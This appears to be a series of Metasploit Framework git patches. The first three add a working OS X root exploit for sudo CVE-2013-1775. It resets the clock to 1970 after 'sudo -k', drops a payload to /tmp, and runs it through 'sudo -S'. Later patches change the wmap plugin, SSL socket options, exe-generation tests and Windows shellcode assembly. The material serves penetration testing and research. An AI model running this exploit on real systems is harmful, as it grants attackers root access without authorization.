From 0e248c1a3a0c9156e5c0a6644219cad27e37419d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 21 Aug 2013 22:41:57 -0500 Subject: [PATCH 001/454] Add osx sudo password bypass module. --- .../post/osx/manage/sudo_password_bypass.rb | 105 ++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 modules/post/osx/manage/sudo_password_bypass.rb diff --git a/modules/post/osx/manage/sudo_password_bypass.rb b/modules/post/osx/manage/sudo_password_bypass.rb new file mode 100644 index 0000000000000..711706947f297 --- /dev/null +++ b/modules/post/osx/manage/sudo_password_bypass.rb @@ -0,0 +1,105 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# +# http://metasploit.com/ +## +require 'shellwords' + +class Metasploit3 < Msf::Post + SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" + + # saved clock config + attr_accessor :time, :date, :networked, :zone, :network_server + + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Mac OS 10.8-10.8.3 Sudo Password Bypass', + 'Description' => %q{ + Executes a command with root permissions on versions of OSX with + sudo binary vulnerable to CVE-2013-1775 (between). Works on Mac OS + 10.8.*, and possibly lower versions. + + If your session belongs to a user with Administrative Privileges + (the user is in the sudoers file) and the user has ever run the + "sudo" command, it is possible to become the super user by running + `sudo -k` and then resetting the system clock to 01-01-1970. + + Fails silently if the user is not an admin, or if the user has never + ran the sudo command. + + Note: CMD must be the /full/path to the executable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev '], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ 'shell', 'meterpreter'], + 'References' => [ + ['CVE', '2013-1775'] + ] + )) + register_options([ + OptString.new('CMD', [true, 'The command to run as root', '/usr/bin/whoami']) + ]) + end + + def run + groups = cmd_exec("groups `whoami`") + systemsetup = SYSTEMSETUP_PATH + if not groups.include?('admin') + print_error "User is not in the 'admin' group, bailing." + return + else + # "remember" the current system time/date/network/zone + print_good("User is an admin, continuing...") + print_status("Saving system clock config...") + @time = cmd_exec("#{systemsetup} -gettime").match(/^time: (.*)$/i)[1] + @date = cmd_exec("#{systemsetup} -getdate").match(/^date: (.*)$/i)[1] + @networked = cmd_exec("#{systemsetup} -getusingnetworktime") =~ (/On$/) + @zone = cmd_exec("#{systemsetup} -gettimezone").match(/^time zone: (.*)$/i)[1] + @network_server = if @networked + cmd_exec("#{systemsetup} -getnetworktimeserver").match(/time server: (.*)$/i)[1] + end + run_exploit + end + end + + def cleanup + return if @_cleaning_up + @_cleaning_up = true + + print_status("Resetting system clock to original values") if @time + cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? + if @networked + cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") + unless @network_server.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + end + end + super + end + + def run_exploit + sudo_cmd_raw = ['sudo', '-S', datastore['CMD']].join(' ') + sudo_cmd = 'echo "" | '+sudo_cmd_raw + cmd_exec( + "sudo -k; \n"+ + "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ + " -settime 00:00 -settimezone GMT" + ) + print_good "Running '#{sudo_cmd_raw}':" + output = cmd_exec(sudo_cmd) + if output =~ /incorrect password attempts\s*$/i + print_error "User has never run sudo, and is therefore not vulnerable. Bailing." + return + end + puts output + end +end From 45db0c47db3f1112a4b78b54e6c9fcf6feb76a7c Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 21 Aug 2013 22:45:49 -0500 Subject: [PATCH 002/454] Oops. Sudo pword bypass did not work on 10.8.3 --- modules/post/osx/manage/sudo_password_bypass.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/osx/manage/sudo_password_bypass.rb b/modules/post/osx/manage/sudo_password_bypass.rb index 711706947f297..3903f2a4cc301 100644 --- a/modules/post/osx/manage/sudo_password_bypass.rb +++ b/modules/post/osx/manage/sudo_password_bypass.rb @@ -19,11 +19,11 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Mac OS 10.8-10.8.3 Sudo Password Bypass', + 'Name' => 'Mac OS 10.8-10.8.2 Sudo Password Bypass', 'Description' => %q{ Executes a command with root permissions on versions of OSX with - sudo binary vulnerable to CVE-2013-1775 (between). Works on Mac OS - 10.8.*, and possibly lower versions. + sudo binary vulnerable to CVE-2013-1775. Works on Mac OS 10.8-10.8.2, + and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file) and the user has ever run the From 27c56cd3a3de14ffbb2fb1a9f30cd1bd1aab969b Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 1 Jan 1970 00:02:02 +0000 Subject: [PATCH 003/454] Updates module to use native payload exe or a CMD target. --- .../post/osx/manage/sudo_password_bypass.rb | 168 ++++++++++++++---- 1 file changed, 129 insertions(+), 39 deletions(-) diff --git a/modules/post/osx/manage/sudo_password_bypass.rb b/modules/post/osx/manage/sudo_password_bypass.rb index 3903f2a4cc301..677acd52a69c3 100644 --- a/modules/post/osx/manage/sudo_password_bypass.rb +++ b/modules/post/osx/manage/sudo_password_bypass.rb @@ -7,65 +7,115 @@ ## require 'shellwords' -class Metasploit3 < Msf::Post +class Metasploit3 < Msf::Exploit::Local + include Msf::Post::Common + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" + SUDOER_GROUP = "admin" + VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] # saved clock config attr_accessor :time, :date, :networked, :zone, :network_server - include Msf::Post::Common - include Msf::Post::File - include Msf::Auxiliary::Report - def initialize(info={}) - super( update_info( info, + super(update_info(info, 'Name' => 'Mac OS 10.8-10.8.2 Sudo Password Bypass', 'Description' => %q{ - Executes a command with root permissions on versions of OSX with + Gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Works on Mac OS 10.8-10.8.2, and possibly lower versions. If your session belongs to a user with Administrative Privileges - (the user is in the sudoers file) and the user has ever run the - "sudo" command, it is possible to become the super user by running - `sudo -k` and then resetting the system clock to 01-01-1970. + (the user is in the sudoers file and is in the "admin group"), and the + user has ever run the "sudo" command, it is possible to become the super + user by running `sudo -k` and then resetting the system clock to 01-01-1970. - Fails silently if the user is not an admin, or if the user has never + Fails silently if the user is not an admin or if the user has never ran the sudo command. - - Note: CMD must be the /full/path to the executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev '], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter'], - 'References' => [ - ['CVE', '2013-1775'] - ] + 'References' => [['CVE', '2013-1775']], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], + 'Targets' => [ + [ + 'Mac OS X x86 (Native Payload)', { + 'Platform' => 'osx', + 'Arch' => ARCH_X86 + } + ], [ + 'Mac OS X x64 (Native Payload)', { + 'Platform' => 'osx', + 'Arch' => ARCH_X64 + } + ], [ + 'CMD', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultOptions' => { "PrependFork" => true }, + 'DefaultTarget' => 0 )) - register_options([ - OptString.new('CMD', [true, 'The command to run as root', '/usr/bin/whoami']) - ]) end - def run - groups = cmd_exec("groups `whoami`") - systemsetup = SYSTEMSETUP_PATH - if not groups.include?('admin') - print_error "User is not in the 'admin' group, bailing." - return + # ensure target is vulnerable by checking sudo vn and checking + # user is in admin group. + def check + if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/ + sudo_vn = $1 + sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i) + # check vn between 1.6.0 through 1.7.10p6 + # and 1.8.0 through 1.8.6p6 + if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) + print_error "sudo version #{sudo_vn} not vulnerable." + return Exploit::CheckCode::Safe + end + else + print_error "sudo not detected on the system." + return Exploit::CheckCode::Safe + end + + if not user_in_admin_group? + print_error "sudo version is vulnerable, but user is not in the "+ + "admin group (necessary to change the date)." + Exploit::CheckCode::Safe + end + # one root for you sir + Exploit::CheckCode::Vulnerable + end + + def exploit + if not user_in_admin_group? + fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") else # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") print_status("Saving system clock config...") - @time = cmd_exec("#{systemsetup} -gettime").match(/^time: (.*)$/i)[1] - @date = cmd_exec("#{systemsetup} -getdate").match(/^date: (.*)$/i)[1] - @networked = cmd_exec("#{systemsetup} -getusingnetworktime") =~ (/On$/) - @zone = cmd_exec("#{systemsetup} -gettimezone").match(/^time zone: (.*)$/i)[1] + + # drop the payload (unless CMD) + if using_native_target? + write_file(drop_path, generate_payload_exe) + register_files_for_cleanup(drop_path) + cmd_exec("chmod +x #{[drop_path].shelljoin}") + print_status("Payload dropped and registered for cleanup") + end + + @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] + @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] + @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) + @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @network_server = if @networked - cmd_exec("#{systemsetup} -getnetworktimeserver").match(/time server: (.*)$/i)[1] + cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end - run_exploit + run_sudo_cmd end end @@ -86,20 +136,60 @@ def cleanup super end - def run_exploit - sudo_cmd_raw = ['sudo', '-S', datastore['CMD']].join(' ') + private + + def run_sudo_cmd + sudo_cmd_raw = if using_native_target? + ['sudo', '-S', [drop_path].shelljoin].join(' ') + elsif using_cmd_target? + ['sudo', '-S', payload.encoded].join(' ') + end + + # to prevent the password prompt from destroying session sudo_cmd = 'echo "" | '+sudo_cmd_raw + cmd_exec( "sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ - " -settime 00:00 -settimezone GMT" + " -settimezone GMT -settime 00:00" ) - print_good "Running '#{sudo_cmd_raw}':" - output = cmd_exec(sudo_cmd) + + print_good "Running: " + print sudo_cmd + "\n" + output = cmd_exec(sudo_cmd, nil, 5) + session.shell_write("\x1a") # send ctrl-z :) + session.reset_ring_sequence if output =~ /incorrect password attempts\s*$/i - print_error "User has never run sudo, and is therefore not vulnerable. Bailing." - return + fail_with(Exploit::Failure::NotFound, + "User has never run sudo, and is therefore not vulnerable. Bailing.") end - puts output + print_good output end + + # helper methods for accessing datastore + def using_native_target?; target.name =~ /native/i; end + def using_cmd_target?; target.name =~ /cmd/i; end + def drop_path; '/tmp/joe.exe'; end + + # checks that the user is in OSX's admin group, necessary to change sys clock + def user_in_admin_group? + cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP) + end + + # helper methods for dealing with sudo's vn num + def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end + def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) + vn_parts = parse_vn(vn) + ranges.any? do |range| + min_parts = parse_vn(range[0]) + max_parts = parse_vn(range[1]) + vn_parts.all? do |part| + min = min_parts.shift + max = max_parts.shift + (min.nil? or (not part.nil? and part >= min)) and + (part.nil? or (not max.nil? and part <= max)) + end + end + end + end From 21190cd864e949c80274b78bfb769ebaffc5730e Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 10 Mar 2013 20:47:05 -0400 Subject: [PATCH 004/454] Allow deletion of multiple sites --- plugins/wmap.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index 77f5de94c4881..9b7ad11ae3572 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -138,9 +138,9 @@ def cmd_wmap_sites(*args) print_error("Unable to create site") end when '-d' - del_idx = args.shift + del_idx = args if del_idx - delete_site(del_idx.to_i) + delete_site(del_idx.split(/\s|,|\;/).map(&:to_i).uniq) else print_error("Provide index of site to delete") end @@ -204,7 +204,7 @@ def cmd_wmap_sites(*args) print_status("Usage: wmap_sites [options]") print_line("\t-h Display this help text") print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [id] Delete site") + print_line("\t-d [ids] Delete sites (separate ids by ',|\\s|;')") print_line("\t-l List all available sites") print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") @@ -1239,7 +1239,7 @@ def delete_site(wmap_index) self.framework.db.hosts.each do |bdhost| bdhost.services.each do |serv| serv.web_sites.each do |web| - if idx == wmap_index + if wmap_index.any? {|w| w == idx} web.delete print_status("Deleted #{web.vhost} on #{bdhost.address} at index #{idx}") return From a60a4e518afe8b05a63394a60b7cca3ac6b125b9 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 10 Mar 2013 23:55:15 -0400 Subject: [PATCH 005/454] clean up multi delete --- plugins/wmap.rb | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index 9b7ad11ae3572..57d14e918be9e 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -140,7 +140,8 @@ def cmd_wmap_sites(*args) when '-d' del_idx = args if del_idx - delete_site(del_idx.split(/\s|,|\;/).map(&:to_i).uniq) + delete_sites(del_idx.map(&:to_i).uniq) + return else print_error("Provide index of site to delete") end @@ -204,7 +205,7 @@ def cmd_wmap_sites(*args) print_status("Usage: wmap_sites [options]") print_line("\t-h Display this help text") print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [ids] Delete sites (separate ids by ',|\\s|;')") + print_line("\t-d [ids] Delete sites (separate ids with \\s )") print_line("\t-l List all available sites") print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") @@ -1233,22 +1234,27 @@ def view_targets print_status tbl.to_s + "\n" end - def delete_site(wmap_index) - print_status("Deleting site #{wmap_index}") + def delete_sites(wmap_index) idx = 0 + to_del = {} + # Rebuild the index from wmap_sites -l self.framework.db.hosts.each do |bdhost| bdhost.services.each do |serv| serv.web_sites.each do |web| - if wmap_index.any? {|w| w == idx} - web.delete - print_status("Deleted #{web.vhost} on #{bdhost.address} at index #{idx}") - return - else - idx += 1 - end + # If the index of this site matches any deletion index, + # add to our hash, saving the index for later output + to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} + idx += 1 end end end + to_del.each do |widx,wsite| + if wsite.delete + print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + else + print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + end + end end From 1336c835ffa9cc65cc683e3fe8d83732fe804df3 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Mon, 11 Mar 2013 18:40:14 -0400 Subject: [PATCH 006/454] Implement Egypt's suggestions Delete_site input is now validated with =~ /^[0-9]*$/. Help instructions written in English. --- plugins/wmap.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index 57d14e918be9e..d215773d7d9e5 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -140,7 +140,7 @@ def cmd_wmap_sites(*args) when '-d' del_idx = args if del_idx - delete_sites(del_idx.map(&:to_i).uniq) + delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) return else print_error("Provide index of site to delete") @@ -205,7 +205,7 @@ def cmd_wmap_sites(*args) print_status("Usage: wmap_sites [options]") print_line("\t-h Display this help text") print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [ids] Delete sites (separate ids with \\s )") + print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-l List all available sites") print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") From 6eb33ae5ed962c47e4045377382410d27f945623 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 11 Apr 2013 18:00:33 -0400 Subject: [PATCH 007/454] Rex::Socket::SslTcp set cipher and verify_mode Update Rex::Socket::SslTcp to accept verification mode string from Rex::Socket::Parameters, which has been modified accordingly. Add SSLVerifyMode and SSLCipher options (params and socket work were done before, but the option was not exposed) to Msf::Exploit::Tcp. Testing: ``` >> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort' =>443,'SSL' => true, 'SSLVerifyMode' => 'NONE') >> sock.sslctx.verify_mode => 0 >> sock.close => nil >> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort' =>443,'SSL' => true, 'SSLVerifyMode' => 'PEER') => # >> sock.sslctx.verify_mode => 1 ``` Note: this should be able to resolve the recent SSL socket hackery of exploit/linux/misc/nagios_nrpe_arguments. --- lib/msf/core/exploit/tcp.rb | 2 ++ lib/rex/socket/parameters.rb | 5 +++++ lib/rex/socket/ssl_tcp.rb | 7 ++++++- 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 3be4985d3b099..61000ba32cc74 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -63,6 +63,8 @@ def initialize(info = {}) [ OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), + OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, Opt::CPORT, Opt::CHOST, diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index e83783e843f28..f5a08f6b5af99 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -145,6 +145,11 @@ def initialize(hash) self.ssl_version = hash['SSLVersion'] end + supported_ssl_verifiers = %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER} + if (hash['SSLVerifyMode'] and supported_ssl_verifiers.include? hash['SSLVerifyMode']) + self.ssl_verify_mode = hash['SSLVerifyMode'] + end + if (hash['SSLCipher']) self.ssl_cipher = hash['SSLCipher'] end diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 0e9d662ea3772..8615b7f5cdce2 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -78,7 +78,12 @@ def initsock(params = nil) # VERIFY_FAIL_IF_NO_PEER_CERT # VERIFY_NONE # VERIFY_PEER - self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER + if params.ssl_verify_mode + self.sslctx.verify_mode = OpenSSL::SSL.const_get("VERIFY_#{params.ssl_verify_mode}".intern) + else + # Could also do this as graceful faildown in case a passed verify_mode is not supported + self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER + end self.sslctx.options = OpenSSL::SSL::OP_ALL if params.ssl_cipher self.sslctx.ciphers = params.ssl_cipher From 5ac18e9156640de8d4d5ae1220a1438ff1677f11 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 11 Apr 2013 19:11:25 -0400 Subject: [PATCH 008/454] commant update --- lib/rex/socket/parameters.rb | 14 +++++++++++++- lib/rex/socket/ssl_tcp.rb | 2 +- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index f5a08f6b5af99..805f1181a2c01 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -68,6 +68,14 @@ def self.from_hash(hash) # # A file containing an SSL certificate (for server sockets) # + # [SSLCipher] + # + # Specify SSL cipher to use for context + # + # [SSLVerifyMode] + # + # Specify SSL cerificate verification mechanism + # # [Proxies] # # List of proxies to use. @@ -355,7 +363,11 @@ def v6? # # The SSL certificate, in pem format, stored as a string. See +SslTcpServer#make_ssl+ # - attr_accessor :ssl_cert + attr_accessor :ssl_certa + # + # The SSL context verification mechanism + # + attr_accessor :ssl_verify_mode # # Whether we should use IPv6 # diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 8615b7f5cdce2..273381dd75be8 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -72,7 +72,7 @@ def initsock(params = nil) self.sslctx = OpenSSL::SSL::SSLContext.new(version) # Configure the SSL context - # TODO: Allow the user to specify the verify mode and callback + # TODO: Allow the user to specify the verify mode callback # Valid modes: # VERIFY_CLIENT_ONCE # VERIFY_FAIL_IF_NO_PEER_CERT From 1e93ae65e35e04fc2189ae5f150177f839139571 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 11 Apr 2013 19:12:32 -0400 Subject: [PATCH 009/454] fix typo in parameters --- lib/rex/socket/parameters.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 805f1181a2c01..c88c584495576 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -363,7 +363,7 @@ def v6? # # The SSL certificate, in pem format, stored as a string. See +SslTcpServer#make_ssl+ # - attr_accessor :ssl_certa + attr_accessor :ssl_cert # # The SSL context verification mechanism # From 3ad5dede26753b26e517b86389a1aae758e5c6cb Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 18 Jun 2013 16:15:29 -0500 Subject: [PATCH 010/454] Add spec for elf mips* and exe-only formats Also a rudimentary test for win32_rwx_exec --- spec/lib/msf/util/exe_spec.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 3bb0c79b1e63d..549096e9fe74d 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -14,7 +14,14 @@ 'DisableDatabase' => true ) - context '.to_executable_fmt' do + describe '.win32_rwx_exec' do + it "should contain the shellcode" do + bin = subject.win32_rwx_exec("asdfjklASDFJKL") + bin.should include("asdfjklASDFJKL") + end + end + + describe '.to_executable_fmt' do it "should output nil when given a bogus format" do bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {}) @@ -28,14 +35,17 @@ { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, + { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, # No template for 64-bit exe-small. That's fine, we probably # don't need one. #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, ], "linux" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, - { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, - { :format => "elf", :arch => "armle",:file_fp => /ELF 32.*ARM/, :pending => true }, + { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, + { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, + { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, + { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, + { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, ], "bsd" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ }, From 0d78a04af3e572bb0e387dbbb59b11658c886561 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 19 Jun 2013 17:10:31 -0500 Subject: [PATCH 011/454] Clean up exe spec a bit --- spec/lib/msf/util/exe_spec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 549096e9fe74d..789023ec82299 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -35,10 +35,11 @@ { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, # No template for 64-bit exe-small. That's fine, we probably # don't need one. #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, + { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, + { :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / }, ], "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, @@ -75,6 +76,11 @@ bin = subject.to_executable_fmt($framework, "asdf", platform, "\xcc", formats.first[:format], {}) bin.should == nil end + [ ARCH_X86, ARCH_X64, ARCH_X86_64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE ].each do |arch| + it "returns nil when given bogus format for arch=#{arch}" do + bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {}) + end + end formats.each do |format_hash| fmt = format_hash[:format] @@ -97,11 +103,6 @@ fp.should =~ format_hash[:file_fp] if format_hash[:file_fp] end - it "returns nil when given bogus format for arch=#{arch}" do - bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {}) - bin.should == nil - end - end end From 1466609c86223615a341bdd6fdec356ca4277dba Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 20 Jun 2013 10:44:52 -0500 Subject: [PATCH 012/454] Add more supported formats to exe generation - Already supported, just added calls to the the right methods in the .to_executable_fmt method: - Linux armle, mipsle, and mipsbe - Mac arm, ppc - makes the two (!?) copies of block_api for windows match more closely with the source used elsewhere. This is still needs to be refactored to get rid of the duplication. - Get rid of some of the logic in msfvenom duplicated from Util::EXE --- lib/msf/util/exe.rb | 120 +++++++++++++++++++++++++------------------- msfvenom | 120 ++++++++++++-------------------------------- 2 files changed, 99 insertions(+), 141 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 08412cb2baade..b7420d279b8ae 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -137,7 +137,6 @@ def self.to_executable(framework, arch, plat, code='', opts={}) nil end - def self.to_win32pe(framework, code, opts={}) # For backward compatability, this is roughly equivalent to 'exe-small' fmt @@ -400,7 +399,6 @@ def self.to_winpe_only(framework, code, opts={}, arch="x86") return exe end - def self.to_win32pe_old(framework, code, opts={}) payload = code.dup @@ -466,7 +464,6 @@ def self.to_win32pe_exe_sub(framework, code, opts={}) return pe end - def self.to_win64pe(framework, code, opts={}) # Allow the user to specify their own EXE template @@ -1427,7 +1424,6 @@ def self.to_jsp_war(exe, opts={}) return self.to_war(jspraw, opts) end - # Creates a .NET DLL which loads data into memory # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 @@ -1513,11 +1509,10 @@ def self.win32_rwx_exec(code) api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EDX - mov eax, [fs:eax+48] ; Get a pointer to the PEB - mov eax, [eax+12] ; Get PEB->Ldr - mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list - mov edx, eax + xor edx, edx ; Zero EDX + mov edx, [fs:edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check @@ -1531,8 +1526,13 @@ def self.win32_rwx_exec(code) not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name + ;loop loop_modname ; Loop until we have read enough + ; The random jmps added below will occasionally make this offset + ; greater than will fit in a byte, so we have to use a regular jnz + ; instruction which can take a full 32-bits to accomodate the + ; bigger offset dec ecx - jnz loop_modname ; Loop untill we have read enough + jnz loop_modname ; Loop until we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later @@ -1550,7 +1550,7 @@ def self.win32_rwx_exec(code) add ebx, edx ; Add the modules base address ; Computing the module hash + function hash get_next_func: ; - test ecx, ecx ; (Changed from JECXZ to work around METASM) + test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module dec ecx ; Decrement the function name counter mov esi, [ebx+ecx*4] ; Get rva of next module name @@ -1593,7 +1593,7 @@ def self.win32_rwx_exec(code) pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1626,7 +1626,7 @@ def self.win32_rwx_exec(code) pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: - mov esi,PAYLOAD_SIZE + mov esi, #{code.length} allocate: push byte 0x40 ; 